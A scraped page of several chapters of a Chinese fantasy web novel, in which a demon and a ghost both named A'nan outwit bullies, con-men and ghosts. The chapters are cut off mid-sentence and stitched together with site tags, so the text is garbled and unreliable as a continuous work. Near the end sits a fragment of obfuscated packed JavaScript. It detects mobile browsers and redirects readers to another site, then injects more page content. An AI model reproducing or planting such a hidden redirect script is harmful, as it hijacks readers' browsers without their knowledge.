小混混一脸不解,其他泼皮无赖也满脸纳闷,不明白平时说揍就揍从不含糊的大哥,今日为何突然这么“迟疑不决”。 阿难慢条斯理地继续吃着馄饨,一边吃,一边看着镇山虎问得很和气。 “我这正吃饭呢,有什么事回头再说,你看成吗?” 镇山虎已经明白了,这书生看似文弱,其实是个不好惹的硬茬。他都没出手就把自己给定住了,除非脑子有病的人才会继续跟他叫板。 “成,那我就不打扰您吃饭了,您慢用。” 说出那个“成”字话时,镇山虎就发现自己又能动了。 他立刻收起之前那副张牙舞爪的姿态,双手拢在腹部迈着小碎步往后退,活像个低眉顺眼的小媳妇。 “不是,大哥,这怎么回……” “你给老子闭嘴。” 小混混理解无能的话还没说完,镇山虎扭头就猛抽了他一个大嘴巴,打得他原地转成了陀螺一枚。 “你们几个,快把他拖出去。” 几个小弟都是满头雾水,不明白老大明明带着他们来替自家亲弟弟出气的,怎么突然态度一百八十度大转弯,当众抽起他的耳光来了。 不过老大既然下了命令,他们还是很听话了,立马七手八脚地把被一巴掌抽得晕乎乎的小混混拖了出去。 “这位公子,我弟弟年轻不懂事,多有冒犯,我替他给您赔不是了。” 镇山虎不光是口头上赔罪,还付诸了行动。 “公子只吃一碗清汤馄饨怎么够呢,掌柜的,给这桌再上一碗鲜肉馄饨和一碗虾仁馄饨。公子,我请客,您慢用。” 这个道歉方式很对阿难的胃口,眉开眼笑地点头道:“好啊,多谢了。” 顿了一下后,他又一副神棍口吻说: “我也不白吃你的,给你提个醒啊!我看你印堂发黑,阳气亏损,最近应该是撞上什么邪祟之物了,赶紧去庙里求个辟邪除祟的护身符吧!” 镇山虎一脸懵:“邪祟之物?怎么会,我最近过得很太平,还有艳遇呢!” “艳遇带来的有时候并非艳福,还有可能是艳祸。当然,兄台若是信不过我,就当我在放屁吧!” “信得过信得过,公子一看就是高人,我又怎么会信不过呢!事不宜迟,我这就去求辟邪符,公子你慢用啊!” 不怕一万就怕万一,命可是自个的,又只有一条,镇山虎还是很爱惜的。 . 在馄饨铺吃完三碗馄饨后,吃得饱饱的阿难,心满意足地回了卖字摊。 春日艳阳天气,午后的微风暖洋洋的,还带着丝丝花香,熏得他昏昏欲睡。反正也没生意,他干脆往桌子上一趴,睡起了大觉。 也不知睡了多久,桌面突然发出咚的一声响,阿难一个激零醒过来。眼帘中映入了镇山虎的面孔,满脸横肉激动地抖个不停。 “公子,你果真是高人啊!我听你的话去庙里求了好几道辟邪符,然后又去找了之前艳遇的那位姑娘,结果刚一靠近,她就化作一道青烟消失得无影无踪,果真是邪祟不是人。多谢公子救我一命,这笔酬金请公子务必收下。” 刚才咚的一声响,原来是镇山虎把一锭银元宝放上桌面的声音。 阿难守了大半天的卖字摊只赚了十文钱,这会儿却阴差阳错地得了一锭银元宝,二话不说就笑纳了。 “兄台,你既然这么 7. 无间鬼域 《满级大佬废号重练》全本免费阅读 阿难抓着那只烧鸡一路狂奔,跑到一处密林时,突然有个小孩钻出来朝他招手。 “这边来,我带你去个地方躲一躲。” 那个小孩,正是妖阿难几个月前打过两次交道的鬼阿难。 他又缩小了形态,不过不再是鬼魂之体,而是一具蓬头垢面如小乞丐似的肉身。 虽然鬼阿难的鬼品欠佳,但妖阿难却不假思索地就跟着他跑,最后双双钻进了一处坟墓里躲起来。 “上回我摆了你一道,这回帮上你一把,咱俩算是扯平了啊!” 鬼阿难笑着仰起头,眨巴着一双乌溜溜的大眼睛跟妖阿难邀功,他老实不客气地伸手戳了一下他的小脑袋瓜。 “算了吧!你才不会这么好心帮我呢!我要是被那个红衣女鬼追上了,就成了她的盘中餐。你还等着把我当十全大补丸吃,自然不希望被别人抢了先。” 鬼阿难脸上的笑容一垮,“你既然这么清楚,那怎么还敢跟我走?” “因为你眼下这副小鬼的模样显然缺乏战斗力,否则也就不用带着我四处乱躲,而是直接干翻那个红衣女鬼抢人就行。” 妖阿难刚才之所以会跟着鬼阿难走,并非慌不择路,更不是信任他的鬼品,而是基于自己的判断才做出这一选择。 能够缩小自身形态的鬼,必然都是厉害角色。但是一个厉害角色,又没必要老是变成小鬼。 因为形态变小在某种程度上会压低自身修为,除非是迫不得已的选择。 妖阿难猜测鬼阿难出于某种原因,被迫变成了修为低下的小鬼,所以不能轻易跟别人动手。 当初在六合镇对他下手时,也是以弱小无助的小鬼姿态展开偷袭,力求以最小成本实现利益最大化。 偷袭不成,鬼阿难才变回真身想要拿下他,结果却因为中了他的感同身受,战斗力断崖式下跌。 貌似非凡的实力,其实跟他的法术时效期一样好景不长。 鬼阿难显然被他戳到软肋了,那张孩子气的稚嫩面孔顿时变得阴森无比,软萌的童声也变得阴恻恻的。 “你很聪明,不过当心聪明反被聪明误,要知道很多聪明人的下场都不太好。” “我知道,所以我不会问你为什么又变成了小鬼,你也千万别告诉我。知道得越多,死得越快。” . 妖阿难靠着墙角坐下,扯下手中那只烧鸡的一只鸡腿,津津有味地吃起来。 刚才他仓皇逃命都没舍得扔下的美食,现在当然要好好享用一番。 “喂,不管我是出于什么原因帮你,好歹也让你从魅鬼手里逃出生天了,请我吃上一只鸡腿不过分吧?” “鸡腿没有,鸡屁股就可以考虑一下。” “大人不能欺负小孩。” “得了吧!你算哪门子的小孩?就算你真是小孩,也是我见过最坏的小孩。” 话虽如此,妖阿难还是勉为其难地扯下一只鸡腿,扔给坐在对面的鬼阿难。 “刚才那个红衣女鬼就是魅鬼朱颜悔啊!我猜也是她。无间鬼域的四大恶煞中,数她的识别度最高,毕竟是唯一的女鬼。” “你也听说过无间鬼域的四大恶煞?” 黄泉之下,有无间鬼域,乃万鬼云集之处。 人间凡界的世人们,走完生老病死的流程正常死亡后,大都会变成老实本分的冥鬼。按照常规踏上黄泉路,走过奈河桥,进入新一轮的转世投胎。 冥鬼是鬼类中的绝大多数,少数冤死枉死屈死横死的鬼魂,则会变成怨气难消的各类恶鬼,不肯重入轮回道,而是选择留在无间鬼域。 作为一个恶鬼扎堆的地方,能在无间鬼域闯出名号的鬼,都绝非泛泛之辈。 四大恶煞,就是其中名头最响亮的四位鬼中枭雄。按照成名顺序来排列,分别是水鬼铜棺将军、疫鬼厉无情、魅鬼朱颜悔和厉鬼应长恨。 这四大恶煞的身份来历都没人清楚,水鬼甚至连名字都没有,其余三位也明显不是真名。 妖阿难一边啃着鸡腿,一边漫不经心地点头。 “那是自然,无间鬼域如今没有鬼王,只有四大恶煞如同四方诸候,新一任鬼王只能在他们四鬼中产生。据说鬼市上还有相关赌局呢,不少鬼都在押注到底谁会胜出,你有没有押啊?” “没兴趣。” 言简意赅地回答了这三个字后,已经吃完鸡腿的鬼阿难继续向妖阿难索要食物。 “再给我一只鸡翅膀。” “喂,我又不是你妈,没义务喂养你。你找我要吃的麻烦客气点,现在组织好语言重新说一次。” 鬼阿难一脸乖巧地问:“哥哥,请问能再给我一只鸡翅膀吗?谢谢!” “这还差不多。” 妖阿难又撕下一只鸡翅膀扔给鬼阿难。 他伸手接住时,掌心忽然亮起一道繁复之极的金色符书,倏忽一闪就不见了。 . 鬼阿难怔了一下,又怔了一下。然后抬起头难以置信地看着妖阿难,两颗眼珠子差点没弹出眼眶。 “你一个妖,怎么会用符咒?” 符咒是修真人士的一项基本法术,有着召神劾鬼、镇魔降妖之功效。 可是阿难这个法力并不高强的小妖,却显然已经熟练掌握了这一技能,还利用它来对付鬼。 妖阿难煞有介事地回答道:“我天赋异禀,自学成材。怎么样,是不是很优秀?” 这番话,鬼阿难连标点符号都不信。 但他也没有再追问,因为问也是白问,妖阿难绝对不会轻易透露自己的秘密。 “你刚对我下了什么符咒?” “放心,不是什么要命的符咒,你以前还体验过一回呢。” 一边说,妖阿难一边用力拧了自己的大腿一把。鬼阿难身上的同一位置,也同步感受到了一阵痛感,令他恍然大悟。 “原来你的感同身受术法,其实就是一道符咒?” “没错,那晚你想掏我的心时,我不是跟你对了一掌嘛,当时就趁机把符咒打在你身上了。现在隆重介绍一下,这就是我独家研发的感同身受符。实乃居家旅行、护身保命之必备工具,绝对值得拥有。” “你当时不说,是不想被我知道,你一个妖却能使用道家之符,对吧?” “是啊,这种事要是传出去被修真人士知道了,还不得追着我砍啊!当然要保密了!” “那现在怎么不怕我知道了?” “上回的感同身受符只是用来应急的,这回用在你身上的这一张可是强化 8. 骚操作 《满级大佬废号重练》全本免费阅读 日上三竿,华城外的官道上人来人往,熙熙攘攘。 这天是寒食节,禁烟火,吃寒食,还有祭祀、扫墓、踏青等风俗活动。 赶上天气又格外晴好,不少城中百姓都携儿带女地出城郊游,欣赏桃红柳绿的大好春色。 出来踏青的人太多了,梨花草径,四野如市,游人如织。还有不少乞丐闻风而动,跑来这边乞食讨钱,妖阿难和鬼阿难就混迹其中。 鬼阿难还是那副蓬头垢面的小乞丐模样。 妖阿难则来了一波骚操作,乔装打扮成一个同样蓬头垢面的乞丐婆。穿着一身破衣烂裳,背着一个脏兮兮的大包袱,看起来一副逃难的样子。 “你是不是扮女人上瘾了?扮个乞丐就行了,还非得扮成乞丐婆。” 看着身旁的妖阿难,鬼阿难一脸不忍直视的表情,觉得他这副男扮女装的尊容实在有些辣眼睛。 乔装打扮成乞丐婆的妖阿难,首要任务就是强调并突出自己的“女性特质”。 所以,他不光在胸口揣了两团棉花包,臀部也缠裹了一圈厚棉花,看起来相当的“丰乳肥臀”。 之前一妖一鬼藏身的那座坟墓,是一个官宦人家的祖父母合葬坟。 已经被盗墓贼光顾过,值钱的财物都没了,陪葬品只留下一些四季衣裳之类的东西。 那些衣裳料子都已经有些朽烂,却成了再合适不过的乞丐装。 妖阿难就地取材,挑出几件女装,把自己装扮成了一个地道的乞丐婆。 “如果朱颜悔现在憋足了劲想把我找出来宰了,没准是个男人都会留神多看两眼,我只有扮成女人才不会引起注意。这个叫思维盲区,你小子学着点吧!” 这一点鬼阿难倒也无从反驳,只是还是满脸嫌弃地瞪着妖阿难。 “可你这副尊容真的很辣眼睛啊!” “辣眼睛就别看了,好好干正事吧!” 鬼阿难莫名其妙地问:“什么正事?” “咱们现在是什么身份?乞丐啊!乞丐的正事当然是乞讨了!” “什么?咱们真要去乞讨?不是假扮一下就行了吗?” “那怎么行,两个乞丐不乞讨,那不是很奇怪吗?万一被朱颜悔察觉出不对劲,你我都没好果子吃。总之咱俩现在是乞丐,就得扮演好这个乞丐的角色。走,该去要饭了!” . “乞丐婆”拉着“小乞丐”的手,走到人多的地方,摆出一副凄凄惨惨戚戚的架势开始向游人乞讨。 “这位老夫人,您一看就是慈悲心肠的大善人。行行好可怜可怜我们,多少赏几个铜板吧!要不给点吃的也行啊!我们都已经两天没吃上一粒米了,大人勉强还能扛得住,但是小孩身子骨弱撑不住啊!老夫人,您看看我这可怜的儿子,饿得都快要没力气走路了!” 妖阿难一边捏着嗓子哀求,一边指着身旁的鬼阿难卖惨,他脸上的表情肌都在不由自主地微微抽搐:“……” ——这踏马什么狗屁台词,老子怎么就成他儿子了?!臭妖怪,我去你的祖宗十八代!!! 要不是那个劳么子的感同身受符,让鬼阿难暴打妖阿难会成为变相的自残,他真想动手把这位“娘亲”揍得满地找牙。 妖阿难的骚操作虽然让鬼阿难十分火大,差点没怄出内伤,但是这一波卖惨营销却相当有效。 这对可怜兮兮的“乞丐母子”,让慈悲心肠的老夫人动了恻隐之心,不但赏了铜板,还给了他们几块糕点。 “多谢老夫人,老夫人行善积德,日后一定能福佑子孙后代的。” “你一介弱质女流,为何独自带着儿子乞讨度日,孩子他爹呢?” “老夫人有所不知,我那死鬼男人走得早,一场风寒就去了,撇下我们孤儿寡母两个相依为命。我一个寡妇人家带着孩子过日子,原本就已经很是艰难,偏巧前不久家乡又遭了水灾,一夜之间田屋被毁,我们娘俩也是死里逃生才捡回一条命。没了栖身之所,我只得带上小儿一路乞讨,打算来华城投靠亲戚。” 一边哀声诉说着自己的“不幸遭遇”,妖阿难还一边低头拭泪。 虽然鬼阿难强烈怀疑他是不是真的有眼泪,但不可否认这家伙演得还是很不错。 尤其那段即兴发挥的台词,声情并茂效果绝佳,把悲惨又可怜的小寡妇人设立住了。 “真是可怜啊!你若是在华城投靠亲友不成,可以来城北安康坊的赵府找我。到时候留你在厨房做个打差的厨娘,母子俩好歹也有一口饭吃,不至于饿死。” “多谢赵老夫人,叩谢赵老夫人。” 妖阿难立刻拉着鬼阿难跪下叩谢好心的赵老夫人,货真价实地磕了三个响头,一点也没弄虚作假。 对于妖阿难全情投入的表演,鬼阿难虽然并不认同,却也只能无可奈何地陪着磕头。 一边磕,他一边小声嘀咕道:“你差不多就行了,不用演得这么投入吧?” . 磕完头后,“乞丐婆”牵着“小乞丐”离走四五丈远,才一副“三娘教子”的口吻开了口。 “你想要演戏骗过别人,就得全情投入。况且尊老爱幼是美德,何况还是一位这么慈悲心肠的老夫人,既肯救急又肯救贫,给她磕上几个头也不算委屈了!” “这位老夫人也就罢了,之前那个青衣女修想杀你时,你也是二话不说就跪下来求饶。都说男儿膝下有黄金,你却动辄就给人下跪,还要不要脸了?” “要脸和要命如果只能选一个,我当然是选择要命了!男子汉大丈夫能屈能伸,韩信连胯下之辱都能忍,我这又算得了什么呢?” 鬼阿难仍然是一派鄙视的语气。 “话虽如此,我还是觉得你有点太不要脸。真是可惜啊!这么好看的一张脸,说不要就不要了。” “阿难弟弟,附耳过来,我告诉你一点人生心得,一般人我都不告诉他的。” “什么人生心得?” “以前我也是很要脸的一个人,自从不要脸以后,我发现做人轻松多了。有时候别把脸面看得太重要,那样只会苦了自己。” 妖阿难并不在乎来自鬼阿难的鄙夷,他非但打击不了他,还反过来被他教育了一番。 这家伙到底什么妖啊?又怎么会修炼成这副德性的? 9. 画风突变 《满级大佬废号重练》全本免费阅读 半个时辰后,一辆牛车拉着“昏迷不醒”的妖阿难和哭成花猫脸的鬼阿难进了华城。 赶车汉子是顺路接的这桩活,雇车的人是一对张氏父子。他们走在车后面,一边走一边交头接耳,神色都极尽猥琐。 “儿子,这个乞丐婆虽然看着脏兮兮的,但眉眼和身段都不错,带回去洗干净了往窑子里一卖,应该能卖个好价钱。” “是啊爹,她那个儿子也生得眉清目秀,卖去像姑馆也能赚上一笔。” 这对上梁不正下梁歪的张氏父子,都不是什么好东西,一向以坑蒙拐骗为生。 这天他俩途经城门外,听说有个乞丐婆昏倒在路旁,还有一个小乞丐在磕头求救。 老张挤进去一看,发现这乞丐婆还有几分姿色时,就打起了歪主意。 “儿子,咱们可以把这对乞丐母子捡回去,转手卖掉就能赚钱了。” 小张一开始并不赞同,“爹,这女人好像有毛病,不会半路上就死了吧?” “放心,死不了,我刚才摸了她的脉,脉象没问题。昏倒应该只是饿的,回头吃点东西就好了。” 老张曾经在医馆当过几年学徒,歧黄之术虽然没能学有所成,简单给人号个脉还是可以的。 “那就成。” 张氏父子于是装出一副古道热肠的模样,提出他们要把“乞丐婆”送去华城里就医,赢得围观群众的交口称颂。 “真是好人啊!” “是啊,遇上如此好心肠的人,也是这对母子走运了!” 走运的“乞丐母子俩”,就这样被张氏父子带走了。 他俩跟在牛车后头的窈窈私语,妖阿难和鬼阿难都耳力敏锐地听得一清二楚。 妖阿难无所谓,换了一个姿势让自己躺得更舒服一些。反正这两个凡人分分钟就能摆平,眼下蹭他们的车进城没啥不好的。 鬼阿难则气得暗中冷笑:两个人渣,歪脑筋居然动到老子身上来了,简直就是太岁头上动头。 . 晌午过后,牛车在张氏父子俩住的小院前停下来。 他们先付了车费,再一起把“昏睡不醒”的“乞丐婆”抬进堂屋,招呼“小乞丐”跟上。 走出堂屋后,老张站在院子中间低声交代起了小张。 “儿子,你先去厨房烧上一大锅热水,待会儿让他们娘俩都洗个澡,卖相好才能卖出好价钱。” “好,我这就去。爹,那小娘们洗干净之后,咱俩可以先尝个鲜再卖吧?” “那是自然,那小娘们要胸有胸要臀有臀相当有料,这要是都不尝个鲜就亏大发了!” 张氏父子俩满脸都是色迷迷的淫/笑,都以为今晚能好好享受一场艳福。 堂屋的地板上,妖阿难已经伸着懒腰坐起来了。 鬼阿难则直接爬上了一张凳子,伸手去抓八仙桌上的茶壶倒水喝。 他之前卖力地哭了那么久,嗓子早就干得不行,需要喝点水润一润。 “儿子,你也听见了吧?外头那两个人渣打你娘亲的主意呢!你可得保护好我啊!” 妖阿难笑嘻嘻的调侃声刚落,鬼阿难就没好声气地哼了一声:“闭嘴,谁是你儿子?” “刚才哭着喊着叫我娘的人,难道不是你是别人吗?” “那是演戏,现在戏已经演完了,老子也不陪你玩了,外头俩人渣自个收拾去吧!” “便宜儿子果然靠不住,说不管就不管。那你好歹也给我倒上一杯茶,我也渴了。” “你有手有脚,自己不会倒吗?” 鬼阿难直接把茶壶往妖阿难那边一推,他长吁短叹地摇头道:“真是不孝子啊不孝子!” . 老张重新掀开门帘进了层,愕然发现乞丐母子俩正一起坐在八仙桌旁喝茶。 片刻之前,那个乞丐婆还是一副人事不省的模样,现在却是一派精神抖擞,冲着他笑眯眯地点头打招呼,声音清亮。 “来了,坐吧,刚才辛苦你们把我抬进来,真是受累了!” 乞丐婆的声音清亮透澈,宛如少年,反客为主的口吻更是听得老张一脸懵。 他下意识地问道:“你……没事了?” “嗯,没事了。有劳你们特意雇辆车把我带进华城,谢谢啊!” 妖阿难虽然表现得客客气气很有礼貌,但是老张却觉得不对劲很反常。 这个乞丐婆毕竟是年轻女子,昏倒后再醒来发现自己在一个陌生男子家里,非但没有惊慌害怕,反倒一派泰然自若,这实在是不合理。 还有之前那个哭哭啼啼的小乞丐,眼下也画风突变。 他眼睛里再没有一星泪花,两道目光就像被冰冻过似的寒气逼人,看起来阴沉又冷酷,完全不像一个七八岁的孩童。 原先的乞丐母子俩,从 10. 信香 《满级大佬废号重练》全本免费阅读 妖阿难和鬼阿难,在张家舒舒服服地洗了热水澡,换了新衣裳,还吃了一顿十分丰盛的大餐。 餐桌上鸡鸭鱼肉样样俱全,还有一坛上好的美酒。 两身新衣裳和一桌酒菜,都让老张下了血本。他心里很清楚,要是不把这两位大爷哄好了,他和儿子肯定就要不好了。 张氏父子俩原本打着如意算盘,想把捡回来的“乞丐母子俩”转手卖掉赚上一笔。 结果却是偷鸡不成蚀把米,不但一文钱都赚不到手,还要倒贴不少银子,简直就是血亏啊血亏。 小张已经被老张扶回了东厢房,刚才他那一下摔得不轻,两只“咸猪手”双双手腕骨折。 恢复意识后,他在屋里鬼哭狼嚎。才叫了两三声,就被跑进屋的老张一句话吓得紧闭双唇,不敢再惨叫。 “儿子啊,你就忍着点吧!那二位还在隔壁呢,要是吵得他们不耐烦,你恐怕还得断上几根骨头。” . 吃饱喝足后,妖阿难和鬼阿难就一起离开了张家。 临出门前,妖阿难似笑非笑地看着老张道:“以后少干点缺德事,要是再被我遇上,可就没这么容易过关了。” 老张自然是捣蒜似的直点头。 “是是是,多谢少侠高抬贵手饶了我们父子俩一命,以后一定洗心革面重新做人。” 鬼阿难在一旁冷冷道:“死罪可免,活罪难逃。你儿子已经断了两只手也就罢了,至于你,就自己掌嘴十下吧。要重重地打,知道吗?” 这番话虽然出自一个个头才刚到桌子高的小孩子,可是无论神色声音语气,都带着如同北风呼啸而来的寒冷刺骨,让人心里一阵发寒。 老张连屁都不敢多放一个,立刻就抬起双手左右开弓抡自己的耳光。抡得十分真材实料,活生生把自己打成了猪头。 . 夕阳已经坠下了西山,暮色渐浓,华灯初上。 “这位兄台,请问安康坊怎么走?” 走在熙熙攘攘的街道上,妖阿难随便拦下一位路人问路,然后按照对方指点的方向前往。 鬼阿难跟在他身旁,一边走一边问:“你去安康坊干吗?” “还记得那位好心的赵老夫人吗?” “当然记得,怎么了?” “虽然赵老夫人施恩不图报,但我觉得好人就该有好报,所以想去赵府看看有没有什么能回报她的。” 上午妖阿难谢过慈悲心肠的赵老夫人离开时,耳尖地听到了她和身旁丫鬟的对话。 原来她们这趟出城并不为踏青郊游,而是为了生病的小孙女蕙儿去庙里上香祈福。 鬼阿难明白了,“你觉得她那个小孙女可能不是生病那么简单?” “嗯,她说蕙儿这些天一到睡觉就哭,后来还发起了烧,持续低烧不退,吃药针炙都无效。担心是不是撞了什么邪,所以今天特意去庙里上香祈福,想求神仙保佑一下她的小孙女。” 抬起头朝着天上望了一眼,鬼阿难漠然道: “云间仙境的神仙也就百来号吧,人间凡界每天求神拜佛祈求保佑的人却成千上万,他们才管不了那么多。” “是啊,每天向上天祈求的人何其多,天界的仙官就算个个三头六臂也忙不过来。凡人祈愿的信香,只有特别虔诚的才能上达天听,这其中也只有极少数能让仙官抽空去帮一把。如果只是普通的撞邪,我过去瞧上一瞧或许就能解决。” 香为信心之使,凡人祈愿时只要虔敬烧香,神仙即能知其愿望,“信香”一词便由此而来。 “神仙都没空管的事,你一个妖怪却想去帮忙,也未免管得太宽了吧?” “我不想管那么宽,我也管不了那么宽。只是我既然遇上了这位赵老夫人,又得她恩惠,就想回报一下。你要是不想去,咱们就此别过。” 鬼阿难板着一张稚嫩的小脸蛋,没好气地哼了一声。 “我倒是想跟你就此别过,却怕你被朱颜悔抓去弄死连累我。这几天也只有先跟着你,等离开华城跑远一点再说。” . 夜幕降临,无数星辰如烛火,撒下幽幽光辉稀释着浓墨般的夜色。 安康坊的赵府,妖阿难和鬼阿难一起在屋檐上飞掠着,两道身影轻盈如两片羽毛,毫无声响,没有惊动任何人。 赵府后宅一间烛影摇红的厢房里,传来小孩子嚎啕不休的啼哭声。那声音虚弱又痛苦,听起来十分 11. 温且惠 《满级大佬废号重练》全本免费阅读 为首的那个夜啼鬼上前一步,笑眯眯地询问道:“你是想要加入我们吗?” “我是来赶你们走的。” 鬼阿难的声音凉凉的,神色冷冷的,并不显得凶神恶煞,却有一股不怒自威的威势压下来,与七八岁的儿童外表严重不符。 ——不像小孩像大佬,自带一种能让人一见就想跪下求饶的强大气场。 几个夜啼鬼无端端都心中一惊,为首者更加机敏,二话不说就立马点头,神色还有点不自觉的谄媚。 “好,我们这就走。” “等一下,我的话没说完。” “您请说。” “不准再回来纠缠这个孩子,否则后果自负。” “知道了,不会的,我们可以对天发誓。” 几个夜啼鬼纷纷赌咒发誓后一起溜了,鬼阿难也飘出了厢房。 妖阿难原本就等在外头,此刻却不见踪影。他正准备去找人时,突然有所察觉地抬头望向夜空。 . 夜空中,不知几时飞来了一只体态优美的仙鸟青鸾,正悬停于屋宇上方。 鸾背上,伫立着一个瑰姿玮态的仙子,着一袭天水青的云锦衣裳,裙袂在夜风中翩飞若舞。 那份超凡脱俗的仙人之姿,任何词语都不足以形容万分之一。 鬼阿难以前从未见过这位仙子,但是那只青鸾坐骑的辨识度超高,很容易让人推测出它的主人是谁。 云间仙境最有名的女神仙,太清元君温且惠,下凡显灵时总是骑着一只青鸾出现。 人间凡界的各路妖魔鬼怪,终极克星就是来自天界的各路神仙。 除了少数厉害角色,一旦二者狭路相逢,前者就只有被后者全方位碾压吊打的份儿。 太清元君温且惠,虽然不是战斗力超强的武神,但是出手消灭一个小鬼,就像捏死一只蚂蚁一样容易。 鬼阿难脸上露出恰如其分的紧张与怯意,心里却并不惊慌。他恭恭敬敬地跪下来,对着霓裳缥缈的温且惠叩首顿拜。 “拜见太清元君。我虽是鬼魂之身,但刚才并未作恶,而是阻止其他小鬼的恶行。还望太清元君明鉴,饶我一命。” “方才的事我都看见了,你这小鬼和那几个夜啼鬼很是不同,存善念行善事,我自然不会不分青红皂白就将你消灭。起来吧,不必多礼。” 温且惠的声音如清水滴玉,不但悦耳之极,还让人觉得心神俱宁。 “多谢太清元君。” 如同鬼阿难所料想的一样,温且惠没有要消灭他甚至是为难他的意思。 这位三界第一女菩萨,出了名的人美心善。妖魔鬼怪撞在她手里,只要没有为祸作祟,她就会高抬贵手放上一马。 “小鬼,你叫什么名字?为何一直滞留人间不愿往生?” “我叫阿难,我留在人间是想找到我哥哥。” “你哥哥不见了吗?” “我和哥哥失散多年,一直很想找到他,但一直都找不到。太清元君,您能帮我吗?” 温且惠轻轻摇了一下头,表示自己无能为力。 她叹息道:“人海茫茫,想要找到一个人,无异于大海捞针,就算是神仙也办不到的。” 鬼阿难嘟起小嘴,失望又难过地低下头,幼小的身体看上去是大写的可怜。 “人生本是风花枝,升沉聚散何足悲。聚散离合乃人生常态,你也不必太难过,一切随缘吧!” “是,多谢太清元君开解。” “你这小鬼有情有义,我不会把你怎么样。但若是遇上其他神仙或修士来降妖伏魔,你想逃过一劫可就没那么容易了。以后自己凡事要多加小心,知道吗?” “我知道,太清元君,您真是人美心善的好神仙。我也没什么能报答您的,就再给您多磕几个头吧!” 鬼阿难再次跪倒在地,满脸感激地又想冲温且惠磕头。 她唇角绽出一个温和仁慈的浅笑,纤手轻轻一挥,一股柔和的罡风便把他托起来了。 “不必了,就此别过,善自珍重。” . 青鸾驮着温且惠翩飞远去,那道仙气飘飘的窈窕身影,很快消失在遥远的夜空深处。 地面上,鬼阿难还维持着翘首目送的站姿不变,脸上感激的神色也尚未褪去。 百闻不如一见,这位三界公认的第一女菩萨果然名不虚传。 “阿难弟弟,你刚才跪得很利落嘛!不是说男儿膝下有黄金,不能轻易下跪求饶吗?” 身后传来妖阿难满是调侃的声音,鬼阿难扭头狠狠瞪了他一眼。 这可恶的臭妖怪,刚才神仙来的时候跑得比谁都快,这儿神仙走了就冒出来了。 “你刚才死哪去了?” “神仙来了,我一个妖怪自然是赶紧躲了,不然等着被收吗?主动送人头可不是我的风格。” “那你怎么只顾着自己跑,也不提醒一下我?” “抱歉啊,我赶着逃命没顾上。反正你这个小鬼不是去害人的,又很会卖惨装可怜,像太清元君那种出了名的女菩萨,肯定也不会把你自己怎么样了。” 妖阿难理不直气也壮,一点也没有过意不去的意思,鬼阿难听了简直没法不恼火。 “如果来的不是太清元君,而是太玄真君怎么办?我的小命岂不是就要交代在这里了!” 太玄真君和太清元君虽说是两口子,但行事作风截然不同。 前者出了名的性格强势,作风强硬,与后者的温和仁慈形成鲜明对比。 “那也没法子,我自己逃命要紧肯定是顾不上你的。你总不会指望我牺牲自己去拯救你吧?如果换作是你会那么做吗?以你的鬼品我可是深表怀疑。” 妖阿难是个嘴强王者,鬼阿难被他怼得气死了,却又没法反驳。因为他的确也不会这样舍己为人,只能悻悻然地发飚。 “臭妖怪,之前说的比唱的还好听,什么过命交情的兄弟,真遇上什么麻烦危险的事,就立马撇下我跑得比兔子还快。反正只有你倒霉连累我的份,我倒霉却是连累不到你的是吧?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12852075|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唏嘘时,阿难和应长恨对视了一眼,彼此的目光中都是了然。 “孙里正,那对猎户兄弟,家里是不是除了他俩就没别人了?” “是的,刘家兄弟父母早逝,只剩下他们兄弟俩相依为命。不知和真人是怎么猜到的?” “这个回头再说,老莫家那两个孩子现在在哪儿?赶紧把人叫过来见一面吧。” 虽然不明白和真人为什么不急于上山打老虎,而是要见老莫家的孩子,但孙里正还是立刻派人去把他们找来。 见到两个孩子时,阿难直截了当地问道:“你们最近有没有做梦梦见父母?” 十岁的小女孩还是一脸懵懂,但十四岁的少年不无讶异地点头道:“有,我梦见爹娘了。” “他们是不是在梦中指点你,说山脚下某处埋了金银财宝,让你独自前去偷偷挖出来充当家用?” “和真人,你怎么知道的?” “千万别去。你父母被老虎吃了后变成了伥鬼,专门帮它引诱其他人过去充当食物。只有找到能代替他们充当伥鬼的替死鬼,他们才能脱离苦海转世投胎。你大哥所谓的去挖竹笋,应该就是上当受骗了。而只有他一个还不够,还得把你也骗过去才行。” 安宁镇闹虎患后死了五个人,阿难弄清楚了五位死者的先后顺序后,就已经捋清楚是怎么一回事。 那对猎户兄弟死后化为伥鬼,把进山砍柴的老莫出卖给了老虎。 老莫变成的伥鬼,再带着老虎去吃了自己的妻子。 老莫两口子都沦为伥鬼后,猎户兄弟就算找到替死鬼脱离苦海了。 而老莫两口子如果也想摆脱伥鬼的身份,就得再找两个人来充当替死鬼。 这对父母伥鬼的魔掌,就这样伸向了自己的亲生骨肉。 大儿子已经被他们骗去喂了老虎,现在只要再把二儿子也哄进山就大功告成。 少年听得浑身一震,失声嚷道:“不可能。爹娘平时非常疼爱我们,怎么可能会把自己的亲儿子骗去喂老虎呢?” 孙里正也在一旁难以置信地附和道:“是啊,这可是亲生骨肉啊,老莫两口子不会这么做吧?” “他们生前当然不会这么做的,但死后变成了为虎作伥的伥鬼,就会引诱自己的亲人过去喂老虎,因为至亲之人往往最好骗了。” 看着少年满脸都是惊痛难当的神色,阿难又体贴地安慰他。 “这也不能怪你爹娘。从变成伥鬼的那一刻起,他们的鬼魂就沦为了老虎的帮凶,只知道帮它害人,父母子女的情分统统忘光了。总之不管他们再怎么托梦给你,你都千万不能轻信,绝对不要一个人跑去挖什么财宝,知道吗?” 少年红着眼圈点头时,孙里正在一旁问道:“和真人,那你杀了老虎后,他爹娘和兄长还会继续当伥鬼吗?” “不会,我会帮忙超度他们的亡魂,让他们重入轮回道转世投胎。” 应长恨听了暗中一怔:真的假的?难道这家伙不但懂道家的符术,还能超度亡魂?他一个妖怪到底是怎么学到这些本事的? 22.黑虎 在安宁镇吃了一顿十分丰盛的晚餐后,阿难和应长恨就连夜上山打老虎去了。 这对“打虎亲兄弟”一个文弱,一个幼小,光看外表半点都不像是有能耐打死老虎的猛人。 